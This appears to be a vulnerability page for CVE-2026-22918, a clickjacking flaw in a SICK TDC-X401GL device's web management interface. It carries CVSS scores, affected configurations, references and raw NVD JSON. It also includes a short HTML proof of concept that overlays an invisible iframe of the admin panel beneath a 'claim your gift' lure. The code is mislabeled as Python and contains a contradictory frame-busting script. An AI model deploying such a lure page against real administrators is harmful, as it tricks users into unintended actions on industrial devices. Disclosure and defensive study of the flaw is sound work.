CVE-2026-22918

Description

An attacker may exploit missing protection against clickjacking by tricking users into performing unintended actions through maliciously crafted web pages, leading to the extraction of sensitive data.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:* - NOT VULNERABLE

SICK产品 Web管理界面 (版本 < 2026-01-15发布的安全更新版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-22918 Clickjacking PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-22918 Clickjacking PoC</title>
    <style>
        body { margin: 0; padding: 0; background: #f0f0f0; }
        .click-bait {
            position: absolute;
            top: 200px;
            left: 50%;
            transform: translateX(-50%);
            font-size: 24px;
            color: #333;
            cursor: pointer;
            z-index: 1;
        }
        iframe {
            position: absolute;
            top: 190px;
            left: 50%;
            transform: translateX(-50%);
            width: 400px;
            height: 100px;
            opacity: 0;
            filter: alpha(opacity=0);
            z-index: 0;
        }
    </style>
</head>
<body>
    <h1 style="text-align:center; margin-top:50px;">Click here to win a prize!</h1>
    <div class="click-bait">🎁 CLICK HERE TO CLAIM YOUR GIFT 🎁</div>
    <!-- Replace URL with actual SICK product management interface -->
    <iframe src="https://target-sick-device/management-panel"></iframe>
    <script>
        // Frame busting code (for defense, not attack)
        if (top != self) {
            top.location = self.location;
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22918/
[4] VulDB https://vuldb.com/cve/CVE-2026-22918
[5] https://sick.com/psirt
[6] https://www.cisa.gov/resources-tools/resources/ics-recommended-practices
[7] https://www.first.org/cvss/calculator/3.1
[8] https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json
[9] https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf
[10] https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22918", "sourceIdentifier": "[email protected]", "published": "2026-01-15T13:16:06.790", "lastModified": "2026-01-23T18:41:25.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker may exploit missing protection against clickjacking by tricking users into performing unintended actions through maliciously crafted web pages, leading to the extraction of sensitive data."}, {"lang": "es", "value": "Un atacante puede explotar la falta de protección contra el clickjacking engañando a los usuarios para que realicen acciones no deseadas a través de páginas web creadas con fines maliciosos, lo que lleva a la extracción de datos sensibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "59BB5012-A895-4A93-B36F-A062A9389DB1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A95E220-0816-4885-AB7C-D0BB6F27DB7A"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}